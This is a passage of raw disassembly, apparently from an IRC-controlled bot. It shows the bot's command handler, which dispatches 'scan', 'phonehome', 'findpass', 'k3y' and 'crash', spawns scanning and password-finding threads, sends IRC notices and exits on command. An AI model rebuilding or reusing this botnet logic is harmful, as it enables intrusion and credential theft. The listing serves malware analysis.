[ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_403846: ; CODE XREF: sub_401CC7+1B61j lea eax, [ebp+Dst] push eax ; Str2 call sub_415C77 mov [esp+5D98h+var_5D98], offset aCrash_0 ; "crash" push [ebp+esi+var_7C] ; Str1 call _strcmp jmp loc_409CD3 ; --------------------------------------------------------------------------- loc_403867: ; CODE XREF: sub_401CC7+1B49j push edi ; Str2 push offset aScan_0 ; "scan" call _strcmp pop ecx test eax, eax pop ecx jz loc_40399D push edi ; Str2 push offset aScan_1 ; "scan" call _strcmp pop ecx test eax, eax pop ecx jz loc_40399D push edi ; Str2 push offset aPhonehome ; "phonehome" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4038BE lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] ; int call sub_409D26 loc_4038B6: ; CODE XREF: sub_401CC7+472j add esp, 0Ch jmp loc_402166 ; --------------------------------------------------------------------------- loc_4038BE: ; CODE XREF: sub_401CC7+1BD9j push edi ; Str2 push offset aFindpass ; "findpass" call _strcmp pop ecx test eax, eax pop ecx jz short loc_4038E4 push edi ; Str2 push offset aFp ; "fp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40365A loc_4038E4: ; CODE XREF: sub_401CC7+1C06j push [ebp+Format] ; Format lea eax, [ebp+var_F54] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset asc_44222C ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 26h ; int push eax ; Source call sub_40B78E add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_417AC3 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40398C loc_403976: ; CODE XREF: sub_401CC7+1CC3j cmp [ebp+var_EC8], ebx jnz loc_408708 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_403976 ; --------------------------------------------------------------------------- loc_40398C: ; CODE XREF: sub_401CC7+1CADj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_442254 jmp loc_4086F9 ; --------------------------------------------------------------------------- loc_40399D: ; CODE XREF: sub_401CC7+1BAFj ; sub_401CC7+1BC4j mov al, byte_44942A mov [ebp+Src], ebx cmp al, bl mov edx, offset byte_44942A jz loc_402166 mov ecx, edx loc_4039B4: ; CODE XREF: sub_401CC7+1CF5j inc [ebp+Src] add ecx, 0Bh cmp [ecx], bl jnz short loc_4039B4 cmp al, bl jz loc_402166 mov [ebp+arg_18], edx loc_4039C9: ; CODE XREF: sub_401CC7+1FC8j push 0Bh call sub_40B9D6 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+Src] add eax, ecx cmp eax, 1F4h jle short loc_403A18 push ecx lea eax, [ebp+Dst] push offset asc_4420B8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 20h jmp loc_403C86 ; --------------------------------------------------------------------------- loc_403A18: ; CODE XREF: sub_401CC7+1D1Cj or [ebp+var_730], 0FFFFFFFFh cmp dword_449248, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+Src], ebx jz short loc_403A89 mov eax, [ebp+arg_18] mov esi, offset dword_449248 lea edi, [eax-0Ah] loc_403A53: ; CODE XREF: sub_401CC7+1DA4j lea eax, [esi-28h] push edi ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_403A6F inc [ebp+Src] add esi, 40h cmp [esi], ebx jnz short loc_403A53 jmp short loc_403A89 ; --------------------------------------------------------------------------- loc_403A6F: ; CODE XREF: sub_401CC7+1D9Aj mov eax, [ebp+Src] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_449248[ecx] mov [ebp+var_74C], ecx loc_403A89: ; CODE XREF: sub_401CC7+1D7Fj ; sub_401CC7+1DA6j cmp [ebp+var_74C], ebx jz loc_403C9A push 10h lea eax, [ebp+var_2CC] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2CC], esi push [ebp+arg_4] call dword_4E41C4 ; getsockname mov al, [ebp+var_8FF] push esi ; Args neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+Count], eax push [ebp+Count] ; Count call dword_4E42AC ; inet_ntoa push eax ; Source lea eax, [ebp+var_860] push eax ; Dest call _strncpy xor eax, eax cmp [ebp+var_8FF], bl push 30h ; Ch setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax ; Str call _strrchr add esp, 14h cmp esi, ebx mov byte ptr [ebp+File+3], bl jle short loc_403B31 loc_403B0F: ; CODE XREF: sub_401CC7+1E68j cmp eax, ebx jz short loc_403B31 mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h ; Ch push eax ; Str call _strrchr inc byte ptr [ebp+File+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+File+3] cmp ecx, esi jl short loc_403B0F loc_403B31: ; CODE XREF: sub_401CC7+1E46j ; sub_401CC7+1E4Aj mov eax, [ebp+arg_4] push [ebp+Format] ; Format mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h ; Count push eax ; Dest mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call __snprintf push offset byte_4E40C8 ; Str2 push offset aHelp ; "##help" call _strcmp add esp, 14h test eax, eax jz short loc_403B9E push offset aHelp ; "##help" lea eax, [ebp+var_7D0] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_403BA4 ; --------------------------------------------------------------------------- loc_403B9E: ; CODE XREF: sub_401CC7+1EBAj mov [ebp+var_7D0], bl loc_403BA4: ; CODE XREF: sub_401CC7+1ED5j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_403BB6 mov eax, offset aSequential ; "Sequential" loc_403BB6: ; CODE XREF: sub_401CC7+1EE8j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+Dst] push offset asc_442144 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B78E add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40CBA1 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_403C40 loc_403C2E: ; CODE XREF: sub_401CC7+1F77j cmp [ebp+var_71C], ebx jnz short loc_403C5B push 32h call ds:dword_4F6380 ; Sleep jmp short loc_403C2E ; --------------------------------------------------------------------------- loc_403C40: ; CODE XREF: sub_401CC7+1F65j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dst] push offset asc_4421B0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_403C5B: ; CODE XREF: sub_401CC7+1F6Dj cmp edi, ebx jnz short loc_403C79 push ebx ; int lea eax, [ebp+Dst] push esi ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_403C79: ; CODE XREF: sub_401CC7+1F96j lea eax, [ebp+Dst] push eax call sub_415C77 pop ecx loc_403C86: ; CODE XREF: sub_401CC7+1D4Cj add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4039C9 jmp loc_402166 ; --------------------------------------------------------------------------- loc_403C9A: ; CODE XREF: sub_401CC7+1DC8j push offset unk_4420F8 jmp loc_40724C ; --------------------------------------------------------------------------- loc_403CA4: ; CODE XREF: sub_401CC7+1B1Fj ; sub_401CC7+1B34j push 5 call sub_40B9D6 test eax, eax pop ecx jle short loc_403CBA push offset unk_441FEC jmp loc_40724C ; --------------------------------------------------------------------------- loc_403CBA: ; CODE XREF: sub_401CC7+1FE7j mov eax, dword ptr [ebp+esi+Args] cmp eax, ebx jz short loc_403CDD push eax ; Format mov edi, 104h lea eax, [ebp+var_2D50] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_403CF1 ; --------------------------------------------------------------------------- loc_403CDD: ; CODE XREF: sub_401CC7+1FFCj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx call ds:dword_4F6378 ; GetModuleFileNameA loc_403CF1: ; CODE XREF: sub_401CC7+2014j mov esi, [ebp+esi+Format] cmp esi, ebx jnz short loc_403D01 mov esi, offset Str ; "wgl23.exe" loc_403D01: ; CODE XREF: sub_401CC7+2033j push esi ; Format lea eax, [ebp+var_2C4C] push edi ; Count push eax ; Dest call __snprintf mov eax, dword_440078 push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+Dst] push [ebp+var_2B40] push offset asc_44200C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 5 ; int push eax ; Source call sub_40B78E add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset sub_41224F push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_403DCD loc_403DB7: ; CODE XREF: sub_401CC7+2104j cmp [ebp+var_2AB4], ebx jnz loc_4085D7 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_403DB7 ; --------------------------------------------------------------------------- loc_403DCD: ; CODE XREF: sub_401CC7+20EEj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_442040 jmp loc_404BEE ; --------------------------------------------------------------------------- loc_403DDE: ; CODE XREF: sub_401CC7+1AF5j ; sub_401CC7+1B0Aj mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_403DFD push edi ; Str call _atoi test eax, eax pop ecx jz short loc_403DFD push edi ; Str call _atoi pop ecx jmp short loc_403E02 ; --------------------------------------------------------------------------- loc_403DFD: ; CODE XREF: sub_401CC7+2120j ; sub_401CC7+212Bj mov eax, dword_44007C loc_403E02: ; CODE XREF: sub_401CC7+2134j mov esi, [ebp+esi+Format] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403E35 lea eax, [ebp+var_37CC] push esi ; Format push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_403E60 ; --------------------------------------------------------------------------- loc_403E35: ; CODE XREF: sub_401CC7+215Bj lea eax, [ebp+FullPath] push 104h push eax call ds:dword_4F637C ; GetSystemDirectoryA push ebx ; Ext push ebx ; Filename lea eax, [ebp+Drive] push ebx ; Dir push eax ; Drive lea eax, [ebp+FullPath] push eax ; FullPath call __splitpath add esp, 14h loc_403E60: ; CODE XREF: sub_401CC7+216Cj lea eax, [ebp+var_37CC] push eax ; Str call _strlen cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403E8B lea eax, [ebp+var_37CC] push eax ; Str call _strlen pop ecx mov [ebp+eax+var_37CD], bl loc_403E8B: ; CODE XREF: sub_401CC7+21AEj push [ebp+Format] ; Format mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AFA9 pop ecx push eax lea eax, [ebp+Dst] push offset asc_441F60 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 3 ; int push eax ; Source call sub_40B78E add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40FB88 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_403F3F loc_403F2D: ; CODE XREF: sub_401CC7+2276j cmp [ebp+var_36AC], ebx jnz short loc_403F5A push 32h call ds:dword_4F6380 ; Sleep jmp short loc_403F2D ; --------------------------------------------------------------------------- loc_403F3F: ; CODE XREF: sub_401CC7+2264j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset asc_441F9C ; "-" loc_403F4B: ; CODE XREF: sub_401CC7+23D9j ; sub_401CC7+4E0Cj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_403F5A: ; CODE XREF: sub_401CC7+226Cj ; sub_401CC7+23BDj ... cmp [ebp+var_8], ebx jnz loc_408708 push ebx push edi jmp loc_4075CD ; --------------------------------------------------------------------------- loc_403F6A: ; CODE XREF: sub_401CC7+1ACBj ; sub_401CC7+1AE0j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_403F89 push edi ; Str call _atoi test eax, eax pop ecx jz short loc_403F89 push edi ; Str call _atoi pop ecx jmp short loc_403F8E ; --------------------------------------------------------------------------- loc_403F89: ; CODE XREF: sub_401CC7+22ACj ; sub_401CC7+22B7j mov eax, dword_440080 loc_403F8E: ; CODE XREF: sub_401CC7+22C0j mov [ebp+var_1824], eax mov eax, [ebp+esi+Format] cmp eax, ebx jnz short loc_403FA5 lea eax, [ebp+var_C0] loc_403FA5: ; CODE XREF: sub_401CC7+22D6j push eax ; Format lea eax, [ebp+var_1964] push 40h ; Count push eax ; Dest call __snprintf mov esi, [ebp+esi+Str2] add esp, 0Ch cmp esi, ebx jnz short loc_403FC7 mov esi, offset dword_4E40C4 loc_403FC7: ; CODE XREF: sub_401CC7+22F9j push esi ; Format lea eax, [ebp+var_1924] push 100h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+Format] ; Format push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AFA9 pop ecx push eax lea eax, [ebp+Dst] push offset asc_441ED4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 9 ; int push eax ; Source call sub_40B78E add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset sub_411506 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_404094 loc_40407E: ; CODE XREF: sub_401CC7+23CBj cmp [ebp+var_180C], ebx jnz loc_403F5A push 32h call ds:dword_4F6380 ; Sleep jmp short loc_40407E ; --------------------------------------------------------------------------- loc_404094: ; CODE XREF: sub_401CC7+23B5j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_441F10 jmp loc_403F4B ; --------------------------------------------------------------------------- loc_4040A5: ; CODE XREF: sub_401CC7+1AA1j ; sub_401CC7+1AB6j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_4040B8 push esi ; Str call _atoi jmp short loc_4040BF ; --------------------------------------------------------------------------- loc_4040B8: ; CODE XREF: sub_401CC7+23E7j push 0Bh call sub_40B9F5 loc_4040BF: ; CODE XREF: sub_401CC7+23EFj cmp eax, ebx pop ecx jz loc_409B47 push eax ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40C0EE jmp loc_4045A8 ; --------------------------------------------------------------------------- loc_4040DF: ; CODE XREF: sub_401CC7+1A77j ; sub_401CC7+1A8Cj mov eax, dword_4E413C cmp eax, ebx jz short loc_4040FC call eax ; DnsFlushResolverCache test eax, eax jz short loc_4040F5 push offset unk_441E30 jmp short loc_404101 ; --------------------------------------------------------------------------- loc_4040F5: ; CODE XREF: sub_401CC7+2425j push offset unk_441E54 jmp short loc_404101 ; --------------------------------------------------------------------------- loc_4040FC: ; CODE XREF: sub_401CC7+241Fj push offset asc_441E80 ; "-" loc_404101: ; CODE XREF: sub_401CC7+242Cj ; sub_401CC7+2433j ... lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf jmp loc_407025 ; --------------------------------------------------------------------------- loc_404117: ; CODE XREF: sub_401CC7+1A4Dj ; sub_401CC7+1A62j call sub_40AEC5 test eax, eax jz short loc_404127 push offset unk_441DCC jmp short loc_404101 ; --------------------------------------------------------------------------- loc_404127: ; CODE XREF: sub_401CC7+2457j push offset unk_441DF0 jmp short loc_404101 ; --------------------------------------------------------------------------- loc_40412E: ; CODE XREF: sub_401CC7+1A23j ; sub_401CC7+1A38j cmp [ebp+var_8], ebx jnz short loc_40414D push ebx ; int push [ebp+var_4] ; int push offset dword_441D84 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_40414D: ; CODE XREF: sub_401CC7+246Aj push ebx ; int push [ebp+var_4] ; int call sub_418F27 push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C push offset dword_441D9C jmp loc_404471 ; --------------------------------------------------------------------------- loc_40416F: ; CODE XREF: sub_401CC7+18BAj ; sub_401CC7+18CFj push 0Ah call sub_40B9D6 test eax, eax pop ecx jle short loc_404182 push offset unk_441C94 jmp short loc_4041A3 ; --------------------------------------------------------------------------- loc_404182: ; CODE XREF: sub_401CC7+24B2j push [ebp+Format] push [ebp+arg_4] call sub_41AB7D pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40419E push offset unk_441CC0 jmp short loc_4041A3 ; --------------------------------------------------------------------------- loc_40419E: ; CODE XREF: sub_401CC7+24CEj push offset asc_441CE8 ; "-" loc_4041A3: ; CODE XREF: sub_401CC7+24B9j ; sub_401CC7+24D5j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_4041B1: ; CODE XREF: sub_401CC7+59B1j cmp [ebp+var_8], ebx jnz short loc_4041D2 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int loc_4041CA: ; CODE XREF: sub_401CC7+6FD8j call sub_409D6C add esp, 14h loc_4041D2: ; CODE XREF: sub_401CC7+24EDj ; sub_401CC7+26E8j ... lea eax, [ebp+Dst] push eax call sub_415C77 jmp loc_409CD4 ; --------------------------------------------------------------------------- loc_4041E3: ; CODE XREF: sub_401CC7+1890j ; sub_401CC7+18A5j push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40AAC8 jmp loc_404492 ; --------------------------------------------------------------------------- loc_4041FC: ; CODE XREF: sub_401CC7+1866j ; sub_401CC7+187Bj push dword ptr [ebp+esi+Args] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_4177D5 jmp loc_404492 ; --------------------------------------------------------------------------- loc_404219: ; CODE XREF: sub_401CC7+183Cj ; sub_401CC7+1851j or edi, 0FFFFFFFFh call ds:dword_4F63B0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx mov [ebp+Src], eax jz short loc_404242 push esi ; Str call _atoi pop ecx mov edi, eax loc_404242: ; CODE XREF: sub_401CC7+2570j mov eax, [ebp+Src] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40425B cmp edi, 0FFFFFFFFh jnz loc_409B47 loc_40425B: ; CODE XREF: sub_401CC7+2589j push ebx call sub_41B7A7 pop ecx push eax lea eax, [ebp+Dst] push offset asc_441C4C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C lea eax, [ebp+Dst] push eax call sub_415C77 loc_404299: ; CODE XREF: sub_401CC7+53ECj add esp, 24h jmp loc_409B47 ; --------------------------------------------------------------------------- loc_4042A1: ; CODE XREF: sub_401CC7+1812j ; sub_401CC7+1827j push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] call sub_4165C9 add esp, 0Ch push offset dword_441C20 jmp loc_40724C ; --------------------------------------------------------------------------- loc_4042BF: ; CODE XREF: sub_401CC7+17E8j ; sub_401CC7+17FDj push 27h call sub_40B9D6 test eax, eax pop ecx jle short loc_4042F0 cmp [ebp+var_8], ebx jnz loc_402166 push ebx ; int push [ebp+var_4] ; int push offset unk_441B90 ; int loc_4042DD: ; CODE XREF: sub_401CC7+51B8j push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C jmp loc_409055 ; --------------------------------------------------------------------------- loc_4042F0: ; CODE XREF: sub_401CC7+2602j push [ebp+Format] ; Format lea eax, [ebp+var_B2C] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov esi, dword ptr [ebp+esi+Args] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404351 push esi ; Str2 push offset aFull ; "full" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404351 mov [ebp+var_AA8], 1 loc_404351: ; CODE XREF: sub_401CC7+266Dj ; sub_401CC7+267Ej lea eax, [ebp+Dst] push offset asc_441BB8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 27h ; int push eax ; Source call sub_40B78E add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A804 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_4043BF loc_4043A9: ; CODE XREF: sub_401CC7+26F6j cmp [ebp+var_A9C], ebx jnz loc_4041D2 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_4043A9 ; --------------------------------------------------------------------------- loc_4043BF: ; CODE XREF: sub_401CC7+26E0j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dst] push offset asc_441BD4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4041D2 ; --------------------------------------------------------------------------- loc_4043DF: ; CODE XREF: sub_401CC7+17BEj ; sub_401CC7+17D3j cmp [ebp+var_8], ebx jnz short loc_4043FE push ebx ; int push [ebp+var_4] ; int push offset dword_441B68 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_4043FE: ; CODE XREF: sub_401CC7+271Bj push [ebp+arg_4] call dword_4E42B8 ; closesocket call dword_4E4178 ; WSACleanup call sub_41912E push ebx call ds:dword_4F636C ; ExitProcess loc_404419: ; CODE XREF: sub_401CC7+1794j ; sub_401CC7+17A9j push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push eax call sub_41B964 pop ecx pop ecx push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C push offset dword_441B40 jmp short loc_404471 ; --------------------------------------------------------------------------- loc_404444: ; CODE XREF: sub_401CC7+176Aj ; sub_401CC7+177Fj push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41BC18 add esp, 0Ch push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C push offset dword_441B18 loc_404471: ; CODE XREF: sub_401CC7+24A3j ; sub_401CC7+277Bj call sub_415C77 add esp, 18h jmp loc_409B47 ; --------------------------------------------------------------------------- loc_40447E: ; CODE XREF: sub_401CC7+1740j ; sub_401CC7+1755j push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_415DB4 loc_404492: ; CODE XREF: sub_401CC7+3BFj ; sub_401CC7+2530j ... add esp, 10h jmp loc_402166 ; --------------------------------------------------------------------------- loc_40449A: ; CODE XREF: sub_401CC7+1716j ; sub_401CC7+172Bj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4044D9 mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_4044D9 push esi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4044D9 push eax push offset aS_37 ; "%s" lea eax, [ebp+var_1594] push 80h ; Count push eax ; Dest call __snprintf add esp, 10h loc_4044D9: ; CODE XREF: sub_401CC7+27DCj ; sub_401CC7+27E7j ... push [ebp+Format] ; Format lea eax, [ebp+var_1614] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+Dst] push offset asc_441AAC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 25h ; int push eax ; Source call sub_40B78E add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset sub_415E27 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40457C loc_404566: ; CODE XREF: sub_401CC7+28B3j cmp [ebp+var_1508], ebx jnz loc_402166 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_404566 ; --------------------------------------------------------------------------- loc_40457C: ; CODE XREF: sub_401CC7+289Dj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_441AC4 jmp loc_409CCE ; --------------------------------------------------------------------------- loc_40458D: ; CODE XREF: sub_401CC7+16ECj ; sub_401CC7+1701j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_415BFF push offset dword_441A88 call sub_415C77 loc_4045A8: ; CODE XREF: sub_401CC7+2413j add esp, 10h jmp loc_409B47 ; --------------------------------------------------------------------------- loc_4045B0: ; CODE XREF: sub_401CC7+16C2j ; sub_401CC7+16D7j push [ebp+Format] ; Format lea eax, [ebp+var_BC4] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov esi, dword ptr [ebp+esi+Args] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40460A push offset aSub ; "sub" push esi ; Str1 call _strcmp neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404610 ; --------------------------------------------------------------------------- loc_40460A: ; CODE XREF: sub_401CC7+2927j mov [ebp+var_B40], ebx loc_404610: ; CODE XREF: sub_401CC7+2941j lea eax, [ebp+Dst] push offset asc_441A20 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 28h ; int push eax ; Source call sub_40B78E add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_40B7F9 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40467E loc_404668: ; CODE XREF: sub_401CC7+29B5j cmp [ebp+var_B34], ebx jnz loc_407049 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_404668 ; --------------------------------------------------------------------------- loc_40467E: ; CODE XREF: sub_401CC7+299Fj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_441A40 jmp loc_409575 ; --------------------------------------------------------------------------- loc_40468F: ; CODE XREF: sub_401CC7+1646j ; sub_401CC7+165Bj push offset aK3y ; "k3y" push offset asc_4419A8 ; "-" loc_404699: ; CODE XREF: sub_401CC7+2A11j lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 20h jmp loc_407049 ; --------------------------------------------------------------------------- loc_4046C6: ; CODE XREF: sub_401CC7+161Cj ; sub_401CC7+1631j push dword_4E3F2C call sub_41B7A7 pop ecx push eax push offset unk_441974 jmp short loc_404699 ; --------------------------------------------------------------------------- loc_4046DA: ; CODE XREF: sub_401CC7+15F2j ; sub_401CC7+1607j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_40470C cmp [ebp+var_C], ebx jz short loc_40471B push esi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_40471B push eax ; Args push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] ; int 